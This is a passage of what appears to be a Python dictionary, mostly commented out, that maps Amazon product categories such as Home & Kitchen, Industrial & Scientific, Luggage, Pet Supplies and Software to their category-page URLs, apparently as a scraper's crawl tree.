'https://www.amazon.com/s/ref=AE_boys_Watches?bbn=16225021011&ie=UTF8&rh=i%3Aspecialty-aps%2Cn%3A7141123011%2Cn%3A16225021011%2Cn%3A6358551011&pf_rd_m=ATVPDKIKX0DER&pf_rd_s=merchandised-search-left-2&pf_rd_r=ZN972RF6Y819S25618KP&pf_rd_r=ZN972RF6Y819S25618KP&pf_rd_t=101&pf_rd_p=9b25e25c-9d57-4900-b288-95d6b1ed8fc8&pf_rd_p=9b25e25c-9d57-4900-b288-95d6b1ed8fc8&pf_rd_i=16225021011', # 'childs': {}}, 'Accessories': { # 'link': 'https://www.amazon.com/s/ref=AE_boys_Accessories?bbn=16225021011&ie=UTF8&rh=i%3Aspecialty-aps%2Cn%3A7141123011%2Cn%3A16225021011%2Cn%3A2474939011&pf_rd_m=ATVPDKIKX0DER&pf_rd_s=merchandised-search-left-2&pf_rd_r=ZN972RF6Y819S25618KP&pf_rd_r=ZN972RF6Y819S25618KP&pf_rd_t=101&pf_rd_p=9b25e25c-9d57-4900-b288-95d6b1ed8fc8&pf_rd_p=9b25e25c-9d57-4900-b288-95d6b1ed8fc8&pf_rd_i=16225021011', # 'childs': {}}}}, 'Health & Household': { # 'link': 'https://www.amazon.com/s/ref=nb_sb_noss?url=search-alias%3Dhpc-intl-ship&field-keywords=', 'childs': { # 'Baby & Child Care': { # 'link': 'https://www.amazon.com/s/ref=lp_16225010011_nr_n_0?fst=as%3Aoff&rh=i%3Ahpc-intl-ship%2Cn%3A%2116225010011%2Cn%3A10787321&bbn=16225010011&ie=UTF8&qid=1604870998&rnid=16225010011', # 'childs': {}}, 'Health Care': { # 'link': 'https://www.amazon.com/s/ref=lp_16225010011_nr_n_1?fst=as%3Aoff&rh=i%3Ahpc-intl-ship%2Cn%3A%2116225010011%2Cn%3A3760941&bbn=16225010011&ie=UTF8&qid=1604870998&rnid=16225010011', # 'childs': {}}, 'Household Supplies': { # 'link': 'https://www.amazon.com/s/ref=lp_16225010011_nr_n_2?fst=as%3Aoff&rh=i%3Ahpc-intl-ship%2Cn%3A%2116225010011%2Cn%3A15342811&bbn=16225010011&ie=UTF8&qid=1604870998&rnid=16225010011', # 'childs': {}}, 'Medical Supplies & Equipment': { # 'link': 'https://www.amazon.com/s/ref=lp_16225010011_nr_n_3?fst=as%3Aoff&rh=i%3Ahpc-intl-ship%2Cn%3A%2116225010011%2Cn%3A3775161&bbn=16225010011&ie=UTF8&qid=1604870998&rnid=16225010011', # 'childs': {}}, 'Oral Care': { # 'link': 'https://www.amazon.com/s/ref=lp_16225010011_nr_n_4?fst=as%3Aoff&rh=i%3Ahpc-intl-ship%2Cn%3A%2116225010011%2Cn%3A10079992011&bbn=16225010011&ie=UTF8&qid=1604870998&rnid=16225010011', # 'childs': {}}, 'Personal Care': { # 'link': 'https://www.amazon.com/s/ref=lp_16225010011_nr_n_5?fst=as%3Aoff&rh=i%3Ahpc-intl-ship%2Cn%3A%2116225010011%2Cn%3A3777891&bbn=16225010011&ie=UTF8&qid=1604870998&rnid=16225010011', # 'childs': {}}, 'Sexual Wellness': { # 'link': 'https://www.amazon.com/s/ref=lp_16225010011_nr_n_6?fst=as%3Aoff&rh=i%3Ahpc-intl-ship%2Cn%3A%2116225010011%2Cn%3A3777371&bbn=16225010011&ie=UTF8&qid=1604870998&rnid=16225010011', # 'childs': {}}, 'Sports Nutrition': { # 'link': 'https://www.amazon.com/s/ref=lp_16225010011_nr_n_7?fst=as%3Aoff&rh=i%3Ahpc-intl-ship%2Cn%3A%2116225010011%2Cn%3A6973663011&bbn=16225010011&ie=UTF8&qid=1604870998&rnid=16225010011', # 'childs': {}}, 'Stationery & Gift Wrapping Supplies': { # 'link': 'https://www.amazon.com/s/ref=lp_16225010011_nr_n_8?fst=as%3Aoff&rh=i%3Ahpc-intl-ship%2Cn%3A%2116225010011%2Cn%3A723418011&bbn=16225010011&ie=UTF8&qid=1604870998&rnid=16225010011', # 'childs': {}}, 'Vision Care': { # 'link': 'https://www.amazon.com/s/ref=lp_16225010011_nr_n_9?fst=as%3Aoff&rh=i%3Ahpc-intl-ship%2Cn%3A%2116225010011%2Cn%3A10079994011&bbn=16225010011&ie=UTF8&qid=1604870998&rnid=16225010011', # 'childs': {}}, 'Vitamins & Dietary Supplements': { # 'link': 'https://www.amazon.com/s/ref=lp_16225010011_nr_n_10?fst=as%3Aoff&rh=i%3Ahpc-intl-ship%2Cn%3A%2116225010011%2Cn%3A3764441&bbn=16225010011&ie=UTF8&qid=1604870998&rnid=16225010011', # 'childs': {}}, 'Wellness & Relaxation': { # 'link': 'https://www.amazon.com/s/ref=lp_16225010011_nr_n_11?fst=as%3Aoff&rh=i%3Ahpc-intl-ship%2Cn%3A%2116225010011%2Cn%3A10079996011&bbn=16225010011&ie=UTF8&qid=1604870998&rnid=16225010011', # 'childs': {}}}}, 'Home & Kitchen': { # 'link': 'https://www.amazon.com/s/ref=nb_sb_noss?url=search-alias%3Dkitchen-intl-ship&field-keywords=', # 'childs': {"Kids' Home Store": { # 'link': 'https://www.amazon.com/s/ref=lp_16225011011_nr_n_0?fst=as%3Aoff&rh=i%3Akitchen-intl-ship%2Cn%3A%2116225011011%2Cn%3A3206325011&bbn=16225011011&ie=UTF8&qid=1604871036&rnid=16225011011', # 'childs': {}}, 'Kitchen & Dining': { # 'link': 'https://www.amazon.com/s/ref=lp_16225011011_nr_n_1?fst=as%3Aoff&rh=i%3Akitchen-intl-ship%2Cn%3A%2116225011011%2Cn%3A284507&bbn=16225011011&ie=UTF8&qid=1604871036&rnid=16225011011', # 'childs': {}}, 'Bedding': { # 'link': 'https://www.amazon.com/s/ref=lp_16225011011_nr_n_2?fst=as%3Aoff&rh=i%3Akitchen-intl-ship%2Cn%3A%2116225011011%2Cn%3A1063252&bbn=16225011011&ie=UTF8&qid=1604871036&rnid=16225011011', # 'childs': {}}, 'Bath': { # 'link': 'https://www.amazon.com/s/ref=lp_16225011011_nr_n_3?fst=as%3Aoff&rh=i%3Akitchen-intl-ship%2Cn%3A%2116225011011%2Cn%3A1063236&bbn=16225011011&ie=UTF8&qid=1604871036&rnid=16225011011', # 'childs': {}}, 'Furniture': { # 'link': 'https://www.amazon.com/s/ref=lp_16225011011_nr_n_4?fst=as%3Aoff&rh=i%3Akitchen-intl-ship%2Cn%3A%2116225011011%2Cn%3A1063306&bbn=16225011011&ie=UTF8&qid=1604871036&rnid=16225011011', # 'childs': {}}, 'Home Décor': { # 'link': 'https://www.amazon.com/s/ref=lp_16225011011_nr_n_5?fst=as%3Aoff&rh=i%3Akitchen-intl-ship%2Cn%3A%2116225011011%2Cn%3A1063278&bbn=16225011011&ie=UTF8&qid=1604871036&rnid=16225011011', # 'childs': {}}, 'Wall Art': { # 'link': 'https://www.amazon.com/s/ref=lp_16225011011_nr_n_6?fst=as%3Aoff&rh=i%3Akitchen-intl-ship%2Cn%3A%2116225011011%2Cn%3A3736081&bbn=16225011011&ie=UTF8&qid=1604871036&rnid=16225011011', # 'childs': {}}, 'Lighting & Ceiling Fans': { # 'link': 'https://www.amazon.com/s/ref=lp_16225011011_nr_n_7?fst=as%3Aoff&rh=i%3Akitchen-intl-ship%2Cn%3A%2116225011011%2Cn%3A16510975011&bbn=16225011011&ie=UTF8&qid=1604871036&rnid=16225011011', # 'childs': {}}, 'Seasonal Décor': { # 'link': 'https://www.amazon.com/s/ref=lp_16225011011_nr_n_8?fst=as%3Aoff&rh=i%3Akitchen-intl-ship%2Cn%3A%2116225011011%2Cn%3A13679381&bbn=16225011011&ie=UTF8&qid=1604871036&rnid=16225011011', # 'childs': {}}, 'Event & Party Supplies': { # 'link': 'https://www.amazon.com/s/ref=lp_16225011011_nr_n_9?fst=as%3Aoff&rh=i%3Akitchen-intl-ship%2Cn%3A%2116225011011%2Cn%3A901590&bbn=16225011011&ie=UTF8&qid=1604871036&rnid=16225011011', # 'childs': {}}, 'Heating, Cooling & Air Quality': { # 'link': 'https://www.amazon.com/s/ref=lp_16225011011_nr_n_10?fst=as%3Aoff&rh=i%3Akitchen-intl-ship%2Cn%3A%2116225011011%2Cn%3A3206324011&bbn=16225011011&ie=UTF8&qid=1604871036&rnid=16225011011', # 'childs': {}}, 'Irons & Steamers': { # 'link': 'https://www.amazon.com/s/ref=lp_16225011011_nr_n_11?fst=as%3Aoff&rh=i%3Akitchen-intl-ship%2Cn%3A%2116225011011%2Cn%3A510240&bbn=16225011011&ie=UTF8&qid=1604871036&rnid=16225011011', # 'childs': {}}, 'Vacuums & Floor Care': { # 'link': 'https://www.amazon.com/s/ref=lp_16225011011_nr_n_12?fst=as%3Aoff&rh=i%3Akitchen-intl-ship%2Cn%3A%2116225011011%2Cn%3A510106&bbn=16225011011&ie=UTF8&qid=1604871036&rnid=16225011011', # 'childs': {}}, 'Storage & Organization': { # 'link': 'https://www.amazon.com/s/ref=lp_16225011011_nr_n_13?fst=as%3Aoff&rh=i%3Akitchen-intl-ship%2Cn%3A%2116225011011%2Cn%3A3610841&bbn=16225011011&ie=UTF8&qid=1604871036&rnid=16225011011', # 'childs': {}}, 'Cleaning Supplies': { # 'link': 'https://www.amazon.com/s/ref=lp_16225011011_nr_n_14?fst=as%3Aoff&rh=i%3Akitchen-intl-ship%2Cn%3A%2116225011011%2Cn%3A10802561&bbn=16225011011&ie=UTF8&qid=1604871036&rnid=16225011011', # 'childs': {}}}}, 'Industrial & Scientific': { # 'link': 'https://www.amazon.com/s/ref=nb_sb_noss?url=search-alias%3Dindustrial-intl-ship&field-keywords=', # 'childs': {'Abrasive & Finishing Products': { # 'link': 'https://www.amazon.com/s/ref=lp_16225012011_nr_n_0?fst=as%3Aoff&rh=i%3Aindustrial-intl-ship%2Cn%3A%2116225012011%2Cn%3A256167011&bbn=16225012011&ie=UTF8&qid=1604871051&rnid=16225012011', # 'childs': {}}, 'Additive Manufacturing Products': { # 'link': 'https://www.amazon.com/s/ref=lp_16225012011_nr_n_1?fst=as%3Aoff&rh=i%3Aindustrial-intl-ship%2Cn%3A%2116225012011%2Cn%3A6066126011&bbn=16225012011&ie=UTF8&qid=1604871051&rnid=16225012011', # 'childs': {}}, 'Adhesives, Sealants & Lubricants': { # 'link': 'https://www.amazon.com/s/ref=lp_16225012011_nr_n_2?fst=as%3Aoff&rh=i%3Aindustrial-intl-ship%2Cn%3A%2116225012011%2Cn%3A256225011&bbn=16225012011&ie=UTF8&qid=1604871051&rnid=16225012011', # 'childs': {}}, 'Agricultural Irrigation Equipment': { # 'link': 'https://www.amazon.com/s/ref=lp_16225012011_nr_n_3?fst=as%3Aoff&rh=i%3Aindustrial-intl-ship%2Cn%3A%2116225012011%2Cn%3A13400231&bbn=16225012011&ie=UTF8&qid=1604871051&rnid=16225012011', # 'childs': {}}, 'Commercial Door Products': { # 'link': 'https://www.amazon.com/s/ref=lp_16225012011_nr_n_4?fst=as%3Aoff&rh=i%3Aindustrial-intl-ship%2Cn%3A%2116225012011%2Cn%3A10773802011&bbn=16225012011&ie=UTF8&qid=1604871051&rnid=16225012011', # 'childs': {}}, 'Commercial Lighting': { # 'link': 'https://www.amazon.com/s/ref=lp_16225012011_nr_n_5?fst=as%3Aoff&rh=i%3Aindustrial-intl-ship%2Cn%3A%2116225012011%2Cn%3A5772192011&bbn=16225012011&ie=UTF8&qid=1604871051&rnid=16225012011', # 'childs': {}}, 'Cutting Tools': { # 'link': 'https://www.amazon.com/s/ref=lp_16225012011_nr_n_6?fst=as%3Aoff&rh=i%3Aindustrial-intl-ship%2Cn%3A%2116225012011%2Cn%3A383598011&bbn=16225012011&ie=UTF8&qid=1604871051&rnid=16225012011', # 'childs': {}}, 'Fasteners': { # 'link': 'https://www.amazon.com/s/ref=lp_16225012011_nr_n_7?fst=as%3Aoff&rh=i%3Aindustrial-intl-ship%2Cn%3A%2116225012011%2Cn%3A383599011&bbn=16225012011&ie=UTF8&qid=1604871051&rnid=16225012011', # 'childs': {}}, 'Filtration': { # 'link': 'https://www.amazon.com/s/ref=lp_16225012011_nr_n_8?fst=as%3Aoff&rh=i%3Aindustrial-intl-ship%2Cn%3A%2116225012011%2Cn%3A3061625011&bbn=16225012011&ie=UTF8&qid=1604871051&rnid=16225012011', # 'childs': {}}, 'Food Service Equipment & Supplies': { # 'link': 'https://www.amazon.com/s/ref=lp_16225012011_nr_n_9?fst=as%3Aoff&rh=i%3Aindustrial-intl-ship%2Cn%3A%2116225012011%2Cn%3A6054382011&bbn=16225012011&ie=UTF8&qid=1604871051&rnid=16225012011', # 'childs': {}}, 'Hydraulics, Pneumatics & Plumbing': { # 'link': 'https://www.amazon.com/s/ref=lp_16225012011_nr_n_10?fst=as%3Aoff&rh=i%3Aindustrial-intl-ship%2Cn%3A%2116225012011%2Cn%3A3021479011&bbn=16225012011&ie=UTF8&qid=1604871051&rnid=16225012011', # 'childs': {}}, 'Industrial Electrical': { # 'link': 'https://www.amazon.com/s/ref=lp_16225012011_nr_n_11?fst=as%3Aoff&rh=i%3Aindustrial-intl-ship%2Cn%3A%2116225012011%2Cn%3A306506011&bbn=16225012011&ie=UTF8&qid=1604871051&rnid=16225012011', # 'childs': {}}, 'Industrial Hardware': { # 'link': 'https://www.amazon.com/s/ref=lp_16225012011_nr_n_12?fst=as%3Aoff&rh=i%3Aindustrial-intl-ship%2Cn%3A%2116225012011%2Cn%3A16412251&bbn=16225012011&ie=UTF8&qid=1604871051&rnid=16225012011', # 'childs': {}}, 'Janitorial & Sanitation Supplies': { # 'link': 'https://www.amazon.com/s/ref=lp_16225012011_nr_n_13?fst=as%3Aoff&rh=i%3Aindustrial-intl-ship%2Cn%3A%2116225012011%2Cn%3A317971011&bbn=16225012011&ie=UTF8&qid=1604871051&rnid=16225012011', # 'childs': {}}, 'Lab & Scientific Products': { # 'link': 'https://www.amazon.com/s/ref=lp_16225012011_nr_n_14?fst=as%3Aoff&rh=i%3Aindustrial-intl-ship%2Cn%3A%2116225012011%2Cn%3A317970011&bbn=16225012011&ie=UTF8&qid=1604871051&rnid=16225012011', # 'childs': {}}, 'Material Handling Products': { # 'link': 'https://www.amazon.com/s/ref=lp_16225012011_nr_n_15?fst=as%3Aoff&rh=i%3Aindustrial-intl-ship%2Cn%3A%2116225012011%2Cn%3A256346011&bbn=16225012011&ie=UTF8&qid=1604871051&rnid=16225012011', # 'childs': {}}, 'Occupational Health & Safety Products': { # 'link': 'https://www.amazon.com/s/ref=lp_16225012011_nr_n_16?fst=as%3Aoff&rh=i%3Aindustrial-intl-ship%2Cn%3A%2116225012011%2Cn%3A318135011&bbn=16225012011&ie=UTF8&qid=1604871051&rnid=16225012011', # 'childs': {}}, 'Packaging & Shipping Supplies': { # 'link': 'https://www.amazon.com/s/ref=lp_16225012011_nr_n_17?fst=as%3Aoff&rh=i%3Aindustrial-intl-ship%2Cn%3A%2116225012011%2Cn%3A8553197011&bbn=16225012011&ie=UTF8&qid=1604871051&rnid=16225012011', # 'childs': {}}, 'Power & Hand Tools': { # 'link': 'https://www.amazon.com/s/ref=lp_16225012011_nr_n_18?fst=as%3Aoff&rh=i%3Aindustrial-intl-ship%2Cn%3A%2116225012011%2Cn%3A3021459011&bbn=16225012011&ie=UTF8&qid=1604871051&rnid=16225012011', # 'childs': {}}, 'Power Transmission Products': { # 'link': 'https://www.amazon.com/s/ref=lp_16225012011_nr_n_19?fst=as%3Aoff&rh=i%3Aindustrial-intl-ship%2Cn%3A%2116225012011%2Cn%3A16310181&bbn=16225012011&ie=UTF8&qid=1604871051&rnid=16225012011', # 'childs': {}}, 'Professional Dental Supplies': { # 'link': 'https://www.amazon.com/s/ref=lp_16225012011_nr_n_20?fst=as%3Aoff&rh=i%3Aindustrial-intl-ship%2Cn%3A%2116225012011%2Cn%3A8297371011&bbn=16225012011&ie=UTF8&qid=1604871051&rnid=16225012011', # 'childs': {}}, 'Professional Medical Supplies': { # 'link': 'https://www.amazon.com/s/ref=lp_16225012011_nr_n_21?fst=as%3Aoff&rh=i%3Aindustrial-intl-ship%2Cn%3A%2116225012011%2Cn%3A8297370011&bbn=16225012011&ie=UTF8&qid=1604871051&rnid=16225012011', # 'childs': {}}, 'Raw Materials': { # 'link': 'https://www.amazon.com/s/ref=lp_16225012011_nr_n_22?fst=as%3Aoff&rh=i%3Aindustrial-intl-ship%2Cn%3A%2116225012011%2Cn%3A16310191&bbn=16225012011&ie=UTF8&qid=1604871051&rnid=16225012011', # 'childs': {}}, 'Retail Store Fixtures & Equipment': { # 'link': 'https://www.amazon.com/s/ref=lp_16225012011_nr_n_23?fst=as%3Aoff&rh=i%3Aindustrial-intl-ship%2Cn%3A%2116225012011%2Cn%3A8615538011&bbn=16225012011&ie=UTF8&qid=1604871051&rnid=16225012011', # 'childs': {}}, 'Robotics': { # 'link': 'https://www.amazon.com/s/ref=lp_16225012011_nr_n_24?fst=as%3Aoff&rh=i%3Aindustrial-intl-ship%2Cn%3A%2116225012011%2Cn%3A8498884011&bbn=16225012011&ie=UTF8&qid=1604871051&rnid=16225012011', # 'childs': {}}, 'Science Education': { # 'link': 'https://www.amazon.com/s/ref=lp_16225012011_nr_n_25?fst=as%3Aoff&rh=i%3Aindustrial-intl-ship%2Cn%3A%2116225012011%2Cn%3A393459011&bbn=16225012011&ie=UTF8&qid=1604871051&rnid=16225012011', # 'childs': {}}, 'Test, Measure & Inspect': { # 'link': 'https://www.amazon.com/s/ref=lp_16225012011_nr_n_26?fst=as%3Aoff&rh=i%3Aindustrial-intl-ship%2Cn%3A%2116225012011%2Cn%3A256409011&bbn=16225012011&ie=UTF8&qid=1604871051&rnid=16225012011', # 'childs': {}}}}, 'Luggage': { # 'link': 'https://www.amazon.com/s/ref=nb_sb_noss?url=search-alias%3Dluggage-intl-ship&field-keywords=', # 'childs': {'Carry Ons': { # 'link': 'https://www.amazon.com/s/ref=AE_Luggage_leftnav?bbn=16225017011&ie=UTF8&rh=n%3A7141123011%2Cn%3A16225017011%2Cn%3A15743251%2Cn%3A15743261&pf_rd_m=ATVPDKIKX0DER&pf_rd_s=merchandised-search-left-2&pf_rd_r=ZTPETT11KJH8XJ2V54VQ&pf_rd_r=ZTPETT11KJH8XJ2V54VQ&pf_rd_t=101&pf_rd_p=92f6b9f6-45a8-4a56-916b-6d695966ee4a&pf_rd_p=92f6b9f6-45a8-4a56-916b-6d695966ee4a&pf_rd_i=16225017011', # 'childs': {}}, 'Backpacks': { # 'link': 'https://www.amazon.com/s/ref=AE_Luggage_leftnav?bbn=16225017011&ie=UTF8&rh=n%3A7141123011%2Cn%3A16225017011%2Cn%3A360832011&pf_rd_m=ATVPDKIKX0DER&pf_rd_s=merchandised-search-left-2&pf_rd_r=ZTPETT11KJH8XJ2V54VQ&pf_rd_r=ZTPETT11KJH8XJ2V54VQ&pf_rd_t=101&pf_rd_p=92f6b9f6-45a8-4a56-916b-6d695966ee4a&pf_rd_p=92f6b9f6-45a8-4a56-916b-6d695966ee4a&pf_rd_i=16225017011', # 'childs': {}}, 'Garment Bags': { # 'link': 'https://www.amazon.com/s/ref=AE_Luggage_leftnav?bbn=16225017011&ie=UTF8&rh=n%3A7141123011%2Cn%3A16225017011%2Cn%3A15743251%2Cn%3A15743271&pf_rd_m=ATVPDKIKX0DER&pf_rd_s=merchandised-search-left-2&pf_rd_r=ZTPETT11KJH8XJ2V54VQ&pf_rd_r=ZTPETT11KJH8XJ2V54VQ&pf_rd_t=101&pf_rd_p=92f6b9f6-45a8-4a56-916b-6d695966ee4a&pf_rd_p=92f6b9f6-45a8-4a56-916b-6d695966ee4a&pf_rd_i=16225017011', # 'childs': {}}, 'Travel Totes': { # 'link': 'https://www.amazon.com/s/ref=AE_Luggage_leftnav?bbn=16225017011&ie=UTF8&rh=n%3A7141123011%2Cn%3A16225017011%2Cn%3A15743241&pf_rd_m=ATVPDKIKX0DER&pf_rd_s=merchandised-search-left-2&pf_rd_r=ZTPETT11KJH8XJ2V54VQ&pf_rd_r=ZTPETT11KJH8XJ2V54VQ&pf_rd_t=101&pf_rd_p=92f6b9f6-45a8-4a56-916b-6d695966ee4a&pf_rd_p=92f6b9f6-45a8-4a56-916b-6d695966ee4a&pf_rd_i=16225017011', # 'childs': {}}, 'Luggage Sets': { # 'link': 'https://www.amazon.com/s/ref=AE_Luggage_leftnav?bbn=16225017011&ie=UTF8&rh=n%3A7141123011%2Cn%3A16225017011%2Cn%3A15743251%2Cn%3A15743291&pf_rd_m=ATVPDKIKX0DER&pf_rd_s=merchandised-search-left-2&pf_rd_r=ZTPETT11KJH8XJ2V54VQ&pf_rd_r=ZTPETT11KJH8XJ2V54VQ&pf_rd_t=101&pf_rd_p=92f6b9f6-45a8-4a56-916b-6d695966ee4a&pf_rd_p=92f6b9f6-45a8-4a56-916b-6d695966ee4a&pf_rd_i=16225017011', # 'childs': {}}, 'Laptop Bags': { # 'link': 'https://www.amazon.com/s/ref=AE_Luggage_leftnav?bbn=16225017011&ie=UTF8&rh=n%3A7141123011%2Cn%3A16225017011%2Cn%3A9971584011&pf_rd_m=ATVPDKIKX0DER&pf_rd_s=merchandised-search-left-2&pf_rd_r=ZTPETT11KJH8XJ2V54VQ&pf_rd_r=ZTPETT11KJH8XJ2V54VQ&pf_rd_t=101&pf_rd_p=92f6b9f6-45a8-4a56-916b-6d695966ee4a&pf_rd_p=92f6b9f6-45a8-4a56-916b-6d695966ee4a&pf_rd_i=16225017011', # 'childs': {}}, 'Suitcases': { # 'link': 'https://www.amazon.com/s/ref=AE_Luggage_leftnav?bbn=16225017011&ie=UTF8&rh=n%3A7141123011%2Cn%3A16225017011%2Cn%3A15743251%2Cn%3A2477388011&pf_rd_m=ATVPDKIKX0DER&pf_rd_s=merchandised-search-left-2&pf_rd_r=ZTPETT11KJH8XJ2V54VQ&pf_rd_r=ZTPETT11KJH8XJ2V54VQ&pf_rd_t=101&pf_rd_p=92f6b9f6-45a8-4a56-916b-6d695966ee4a&pf_rd_p=92f6b9f6-45a8-4a56-916b-6d695966ee4a&pf_rd_i=16225017011', # 'childs': {}}, 'Kids Luggage': { # 'link': 'https://www.amazon.com/s/ref=AE_Luggage_leftnavn?bbn=16225017011&ie=UTF8&rh=n%3A7141123011%2Cn%3A16225017011%2Cn%3A15743251%2Cn%3A2477386011&pf_rd_m=ATVPDKIKX0DER&pf_rd_s=merchandised-search-left-2&pf_rd_r=ZTPETT11KJH8XJ2V54VQ&pf_rd_r=ZTPETT11KJH8XJ2V54VQ&pf_rd_t=101&pf_rd_p=92f6b9f6-45a8-4a56-916b-6d695966ee4a&pf_rd_p=92f6b9f6-45a8-4a56-916b-6d695966ee4a&pf_rd_i=16225017011', # 'childs': {}}, 'Messenger Bags': { # 'link': 'https://www.amazon.com/s/ref=AE_Luggage_leftnav?bbn=16225017011&ie=UTF8&rh=n%3A7141123011%2Cn%3A16225017011%2Cn%3A15743231&pf_rd_m=ATVPDKIKX0DER&pf_rd_s=merchandised-search-left-2&pf_rd_r=ZTPETT11KJH8XJ2V54VQ&pf_rd_r=ZTPETT11KJH8XJ2V54VQ&pf_rd_t=101&pf_rd_p=92f6b9f6-45a8-4a56-916b-6d695966ee4a&pf_rd_p=92f6b9f6-45a8-4a56-916b-6d695966ee4a&pf_rd_i=16225017011', # 'childs': {}}, 'Umbrellas': { # 'link': 'https://www.amazon.com/s/ref=AE_Luggage_leftnav?bbn=16225017011&ie=UTF8&rh=n%3A7141123011%2Cn%3A16225017011%2Cn%3A15744111&pf_rd_m=ATVPDKIKX0DER&pf_rd_s=merchandised-search-left-2&pf_rd_r=ZTPETT11KJH8XJ2V54VQ&pf_rd_r=ZTPETT11KJH8XJ2V54VQ&pf_rd_t=101&pf_rd_p=92f6b9f6-45a8-4a56-916b-6d695966ee4a&pf_rd_p=92f6b9f6-45a8-4a56-916b-6d695966ee4a&pf_rd_i=16225017011', # 'childs': {}}, 'Duffles': { # 'link': 'https://www.amazon.com/s/ref=AE_Luggage_leftnav?bbn=16225017011&ie=UTF8&rh=n%3A7141123011%2Cn%3A16225017011%2Cn%3A15743211&pf_rd_m=ATVPDKIKX0DER&pf_rd_s=merchandised-search-left-2&pf_rd_r=ZTPETT11KJH8XJ2V54VQ&pf_rd_r=ZTPETT11KJH8XJ2V54VQ&pf_rd_t=101&pf_rd_p=92f6b9f6-45a8-4a56-916b-6d695966ee4a&pf_rd_p=92f6b9f6-45a8-4a56-916b-6d695966ee4a&pf_rd_i=16225017011', # 'childs': {}}, 'Travel Accessories': { # 'link': 'https://www.amazon.com/s/ref=AE_Luggage_leftnav?bbn=16225017011&ie=UTF8&rh=n%3A7141123011%2Cn%3A16225017011%2Cn%3A15743971&pf_rd_m=ATVPDKIKX0DER&pf_rd_s=merchandised-search-left-2&pf_rd_r=ZTPETT11KJH8XJ2V54VQ&pf_rd_r=ZTPETT11KJH8XJ2V54VQ&pf_rd_t=101&pf_rd_p=92f6b9f6-45a8-4a56-916b-6d695966ee4a&pf_rd_p=92f6b9f6-45a8-4a56-916b-6d695966ee4a&pf_rd_i=16225017011', # 'childs': {}}}}, 'Pet Supplies': { # 'link': 'https://www.amazon.com/s/ref=nb_sb_noss?url=search-alias%3Dpets-intl-ship&field-keywords=', 'childs': { # 'Dogs': { # 'link': 'https://www.amazon.com/s/ref=lp_16225013011_nr_n_0?fst=as%3Aoff&rh=i%3Apets-intl-ship%2Cn%3A%2116225013011%2Cn%3A2975312011&bbn=16225013011&ie=UTF8&qid=1604871084&rnid=16225013011', # 'childs': {}}, 'Cats': { # 'link': 'https://www.amazon.com/s/ref=lp_16225013011_nr_n_1?fst=as%3Aoff&rh=i%3Apets-intl-ship%2Cn%3A%2116225013011%2Cn%3A2975241011&bbn=16225013011&ie=UTF8&qid=1604871084&rnid=16225013011', # 'childs': {}}, 'Fish & Aquatic Pets': { # 'link': 'https://www.amazon.com/s/ref=lp_16225013011_nr_n_2?fst=as%3Aoff&rh=i%3Apets-intl-ship%2Cn%3A%2116225013011%2Cn%3A2975446011&bbn=16225013011&ie=UTF8&qid=1604871084&rnid=16225013011', # 'childs': {}}, 'Birds': { # 'link': 'https://www.amazon.com/s/ref=lp_16225013011_nr_n_3?fst=as%3Aoff&rh=i%3Apets-intl-ship%2Cn%3A%2116225013011%2Cn%3A2975221011&bbn=16225013011&ie=UTF8&qid=1604871084&rnid=16225013011', # 'childs': {}}, 'Horses': { # 'link': 'https://www.amazon.com/s/ref=lp_16225013011_nr_n_4?fst=as%3Aoff&rh=i%3Apets-intl-ship%2Cn%3A%2116225013011%2Cn%3A2975481011&bbn=16225013011&ie=UTF8&qid=1604871084&rnid=16225013011', # 'childs': {}}, 'Reptiles & Amphibians': { # 'link': 'https://www.amazon.com/s/ref=lp_16225013011_nr_n_5?fst=as%3Aoff&rh=i%3Apets-intl-ship%2Cn%3A%2116225013011%2Cn%3A2975504011&bbn=16225013011&ie=UTF8&qid=1604871084&rnid=16225013011', # 'childs': {}}, 'Small Animals': { # 'link': 'https://www.amazon.com/s/ref=lp_16225013011_nr_n_6?fst=as%3Aoff&rh=i%3Apets-intl-ship%2Cn%3A%2116225013011%2Cn%3A2975520011&bbn=16225013011&ie=UTF8&qid=1604871084&rnid=16225013011', # 'childs': {}}}}, 'Software': { # 'link': 'https://www.amazon.com/s/ref=nb_sb_noss?url=search-alias%3Dsoftware-intl-ship&field-keywords=', # 'childs': {'Accounting & Finance': { # 'link': 'https://www.amazon.com/s/ref=lp_16225008011_nr_n_0?fst=as%3Aoff&rh=i%3Asoftware-intl-ship%2Cn%3A%2116225008011%2Cn%3A5223260011&bbn=16225008011&ie=UTF8&qid=1604871099&rnid=16225008011', # 'childs': {}}, 'Antivirus & Security': { # 'link': 'https://www.amazon.com/s/ref=lp_16225008011_nr_n_1?fst=as%3Aoff&rh=i%3Asoftware-intl-ship%2Cn%3A%2116225008011%2Cn%3A229677&bbn=16225008011&ie=UTF8&qid=1604871099&rnid=16225008011', # 'childs': {}}, 'Business & Office': { # 'link': 'https://www.amazon.com/s/ref=lp_16225008011_nr_n_2?fst=as%3Aoff&rh=i%3Asoftware-intl-ship%2Cn%3A%2116225008011%2Cn%3A229535&bbn=16225008011&ie=UTF8&qid=1604871099&rnid=16225008011', # 'childs': {}}, "Children's": { # 'link': 'https://www.amazon.com/s/ref=lp_16225008011_nr_n_3?fst=as%3Aoff&rh=i%3Asoftware-intl-ship%2Cn%3A%2116225008011%2Cn%3A229548&bbn=16225008011&ie=UTF8&qid=1604871099&rnid=16225008011', # 'childs': {}}, 'Education & Reference': { # 'link': 'https://www.amazon.com/s/ref=lp_16225008011_nr_n_4?fst=as%3Aoff&rh=i%3Asoftware-intl-ship%2Cn%3A%2116225008011%2Cn%3A229563&bbn=16225008011&ie=UTF8&qid=1604871099&rnid=16225008011', # 'childs': {}}, 'Lifestyle & Hobbies': { # 'link': 'https://www.amazon.com/s/ref=lp_16225008011_nr_n_5?fst=as%3Aoff&rh=i%3Asoftware-intl-ship%2Cn%3A%2116225008011%2Cn%3A229624&bbn=16225008011&ie=UTF8&qid=1604871099&rnid=16225008011', # 'childs': {}}, 'Music': { # 'link': 'https://www.amazon.com/s/ref=lp_16225008011_nr_n_6?fst=as%3Aoff&rh=i%3Asoftware-intl-ship%2Cn%3A%2116225008011%2Cn%3A497022&bbn=16225008011&ie=UTF8&qid=1604871099&rnid=16225008011', # 'childs': {}}, 'Networking & Servers': { # 'link': 'https://www.amazon.com/s/ref=lp_16225008011_nr_n_7?fst=as%3Aoff&rh=i%3Asoftware-intl-ship%2Cn%3A%2116225008011%2Cn%3A229637&bbn=16225008011&ie=UTF8&qid=1604871099&rnid=16225008011', # 'childs': {}}, 'Operating Systems': { # 'link': 